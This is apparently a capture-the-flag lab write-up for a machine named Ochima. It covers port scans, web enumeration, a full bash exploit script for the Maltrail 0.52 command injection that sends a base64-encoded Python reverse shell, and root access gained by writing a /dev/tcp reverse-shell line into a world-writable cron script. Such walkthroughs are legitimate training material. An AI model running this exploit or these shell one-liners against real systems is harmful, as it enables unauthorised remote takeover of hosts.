Enter your search text in the box above

Select a result to preview

Ochima_flow

Recon

TCP Scan (ALL)

nmap -sCV -p- -oN scans/tcpall.nmap $IP

nmap -sCV -p- -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 21:51 +0800
Nmap scan report for 192.168.198.32
Host is up (0.0056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8338/tcp open  http    Python http.server 3.5 - 3.10
|_http-title: Maltrail
|_http-server-header: Maltrail/0.52
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.46 seconds

TCP Scan

nmap -sCV -oN scans/tcp1000.nmap $IP

nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 21:30 +0800
Nmap scan report for 192.168.198.32
Host is up (0.013s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.36 seconds

UDP Scan (Top 20)

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
[sudo] password for hans:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 21:30 +0800
Nmap scan report for 192.168.198.32
Host is up (0.017s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 2.36 seconds

Service Enumeration

Web (80)

Main Page

http://192.168.198.32/ - Ubuntu Default Page

Scans

Directory brute force

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox80.md

Virtual host brute force

ffuf -u http://$IP -H "Host: FUZZ.domain" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o scans/ffuf80.html -of html

Web (8338)

Main Page

http://192.168.198.32:8338/

Scans

Directory brute force

feroxbuster -u http://$IP:8338 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox8338.md

grep -E '^[0-9]{3}\s+GET' scans/ferox8338.md | awk '{print $6}'
http://192.168.198.32:8338/logout
http://192.168.198.32:8338/css/media.css
http://192.168.198.32:8338/images/close.png
http://192.168.198.32:8338/js/errorhandler.js
http://192.168.198.32:8338/images/mlogo.png
http://192.168.198.32:8338/images/calendar.png
http://192.168.198.32:8338/css/main.css
http://192.168.198.32:8338/js/papaparse.min.js
http://192.168.198.32:8338/index
http://192.168.198.32:8338/events
http://192.168.198.32:8338/js/main.js
http://192.168.198.32:8338/css/thirdparty.min.css
http://192.168.198.32:8338/js/thirdparty.min.js
http://192.168.198.32:8338/
http://192.168.198.32:8338/ping
http://192.168.198.32:8338/login
http://192.168.198.32:8338/counts
http://192.168.198.32:8338/whoami

Exploit

Found a promising exploit: https://github.com/joshchalabi/Maltrail-0.52-Exploit-RCE

#!/bin/bash

# Maltrail Unauthenticated RCE Exploit (CVE-2023-27163)
# Usage: ./exploit.sh <target_url> <lhost> [lport]
# Example: ./exploit.sh http://ochima.pg:8338 192.168.45.179 80
#
# This exploit injects a Base64-encoded Python reverse shell into the
# vulnerable 'username' field on the Maltrail login endpoint.
# by jcs3c Josh Chalabi

if [ $# -lt 2 ]; then
    echo "Usage: $0 <target_url> <lhost> [lport]"
    echo "Example: $0 http://ochima.pg:8338 192.168.45.179 80"
    exit 1
fi

target="$1"
lhost="$2"
lport="${3:-80}"

# Normalize target URL: append /login if missing
if [[ "$target" != *"/login" ]]; then
    if [[ "${target: -1}" != "/" ]]; then
        target="${target}/"
    fi
    target="${target}login"
fi

echo "[*] Target       : $target"
echo "[*] LHOST        : $lhost"
echo "[*] LPORT        : $lport"
echo "[*] Start your listener:  nc -lvnp $lport"
sleep 2

# Python reverse shell payload
payload="python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$lhost\",$lport));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"

# Encode payload to Base64
encoded_payload=$(printf '%s' "$payload" | base64 | tr -d '\n')

# Send exploit request
curl "$target" \
  --data "username=;\`echo \"${encoded_payload}\" | base64 -d | sh\`"

Foothold

Exploit script

Run the script. It even waits for you to start a listener.

After starting the nc listener, it catches the shell after a while. Immediately stabilise the shell.

user flag

First order of business:

snort@ochima:/opt/maltrail-0.53$ cd ~
snort@ochima:~$ whoami && hostname && cat local.txt
snort
ochima
1d3aebe5388eed226a2881e666ba6049

Privilege Escalation

Low-Hanging Fruits

**Linux

#sudo -l
snort@ochima:~$ sudo -l
[sudo] password for snort:
sudo: a password is required

cat /etc/crontab

#cat /etc/crontab
default

crontab -l

#crontab -l
snort@ochima:~$ crontab -l
no crontab for snort

ls -la /etc/cron.*

#ls -la /etc/cron.*
snort@ochima:~$ ls -la /etc/cron.*
/etc/cron.d:
total 20
drwxr-xr-x   2 root root 4096 Dec 11  2023 .
drwxr-xr-x 102 root root 4096 Dec 16  2023 ..
-rw-r--r--   1 root root  201 Jan  8  2022 e2scrub_all
-rw-r--r--   1 root root  712 Jan 28  2022 php
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.daily:
total 36
drwxr-xr-x   2 root root 4096 Dec 11  2023 .
drwxr-xr-x 102 root root 4096 Dec 16  2023 ..
-rwxr-xr-x   1 root root  539 May  3  2023 apache2
-rwxr-xr-x   1 root root  376 Oct 26  2021 apport
-rwxr-xr-x   1 root root 1478 Apr  8  2022 apt-compat
-rwxr-xr-x   1 root root  123 Dec  5  2021 dpkg
-rwxr-xr-x   1 root root  377 Jan 24  2022 logrotate
-rwxr-xr-x   1 root root 1330 Mar 17  2022 man-db
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.hourly:
total 12
drwxr-xr-x   2 root root 4096 Apr 21  2022 .
drwxr-xr-x 102 root root 4096 Dec 16  2023 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x   2 root root 4096 Apr 21  2022 .
drwxr-xr-x 102 root root 4096 Dec 16  2023 ..
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

/etc/cron.weekly:
total 16
drwxr-xr-x   2 root root 4096 Apr 21  2022 .
drwxr-xr-x 102 root root 4096 Dec 16  2023 ..
-rwxr-xr-x   1 root root 1020 Mar 17  2022 man-db
-rw-r--r--   1 root root  102 Mar 23  2022 .placeholder

find / -perm -4000 -type f 2>/dev/null

#find / -perm -4000 -type f 2>/dev/null
snort@ochima:~$ find / -perm -4000 -type f 2>/dev/null
/snap/snapd/20290/usr/lib/snapd/snap-confine
/snap/core20/1518/usr/bin/chfn
/snap/core20/1518/usr/bin/chsh
/snap/core20/1518/usr/bin/gpasswd
/snap/core20/1518/usr/bin/mount
/snap/core20/1518/usr/bin/newgrp
/snap/core20/1518/usr/bin/passwd
/snap/core20/1518/usr/bin/su
/snap/core20/1518/usr/bin/sudo
/snap/core20/1518/usr/bin/umount
/snap/core20/1518/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1518/usr/lib/openssh/ssh-keysign
/snap/core20/2015/usr/bin/chfn
/snap/core20/2015/usr/bin/chsh
/snap/core20/2015/usr/bin/gpasswd
/snap/core20/2015/usr/bin/mount
/snap/core20/2015/usr/bin/newgrp
/snap/core20/2015/usr/bin/passwd
/snap/core20/2015/usr/bin/su
/snap/core20/2015/usr/bin/sudo
/snap/core20/2015/usr/bin/umount
/snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2015/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/sudo

ss -tlnp

netstat -tlnp

#ss -tlnp or netstat -tlnp
snort@ochima:~$ ss -tlnp
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      511          0.0.0.0:80        0.0.0.0:*
LISTEN 0      5            0.0.0.0:8338      0.0.0.0:*    users:(("python",pid=869,fd=3))
LISTEN 0      4096   127.0.0.53%lo:53        0.0.0.0:*
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*

cat /etc/passwd | grep sh$

#cat /etc/passwd | grep sh$
snort@ochima:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
snort:x:1001:1001::/home/snort:/bin/sh

snort@ochima:~$ ls -al /home/*
total 3764
drwxr-x--- 2 snort snort    4096 Dec 11  2023 .
drwxr-xr-x 3 root  root     4096 Dec 11  2023 ..
lrwxrwxrwx 1 root  root        9 Dec 11  2023 .bash_history -> /dev/null
-rw-r--r-- 1 snort snort     220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 snort snort    3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 root  root  3829760 Jun 24 14:36 etc_backup.tar
-rw-r--r-- 1 snort snort      33 Jun 24 13:28 local.txt
-rw-r--r-- 1 snort snort     807 Jan  6  2022 .profile

etc_backup.tar seems interesting.

cat ~/.bash_history

#cat ~/.bash_history
/dev/null

ls -al /var/www/ /opt/ /var/backups/

#ls -al /var/www/ /opt/ /var/backups/
snort@ochima:~$ ls -al /var/www/ /opt/ /var/backups/
/opt/:
total 12
drwxr-xr-x  3 root root 4096 Dec 11  2023 .
drwxr-xr-x 19 root root 4096 Jun 15  2022 ..
drwxrwxr-x  9 root root 4096 Dec 31  2022 maltrail-0.53

/var/backups/:
total 836
drwxr-xr-x  2 root root   4096 Jun 24 13:28 .
drwxr-xr-x 14 root root   4096 Dec 11  2023 ..
-rw-r--r--  1 root root  61440 Jun 24 13:28 alternatives.tar.0
-rw-r--r--  1 root root  40970 Dec 11  2023 apt.extended_states.0
-rw-r--r--  1 root root   4438 Dec 11  2023 apt.extended_states.1.gz
-rw-r--r--  1 root root   3940 Oct 31  2023 apt.extended_states.2.gz
-rw-r--r--  1 root root      0 Jun 24 13:28 dpkg.arch.0
-rw-r--r--  1 root root    268 Jun 15  2022 dpkg.diversions.0
-rw-r--r--  1 root root    172 Dec 11  2023 dpkg.statoverride.0
-rw-r--r--  1 root root 716144 Dec 11  2023 dpkg.status.0
-rwxrwxrwx  1 root root     54 Dec 11  2023 etc_Backup.sh

/var/www/:
total 12
drwxr-xr-x  3 root root 4096 Dec 11  2023 .
drwxr-xr-x 14 root root 4096 Dec 11  2023 ..
drwxr-xr-x  2 root root 4096 Dec 11  2023 html

etc_Backup.sh seems very interesting.

etc_Backup.sh

etc_Backup.sh is owned by root and is world-writable. 'Nuff said.

We put a reverse shell one-liner into the script.

/bin/bash -i >& /dev/tcp/192.168.45.232/80 0>&1

root flag

Seems like the cron runs every 2-3 minutes so it took a while to get a shell.

nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.232] from (UNKNOWN) [192.168.198.32] 46904
bash: cannot set terminal process group (34041): Inappropriate ioctl for device
bash: no job control in this shell
root@ochima:~# whoami && hostname && cat /root/proof.txt
whoami && hostname && cat /root/proof.txt
root
ochima
7c6c4157ee334bf1b206f88a8a66f9c2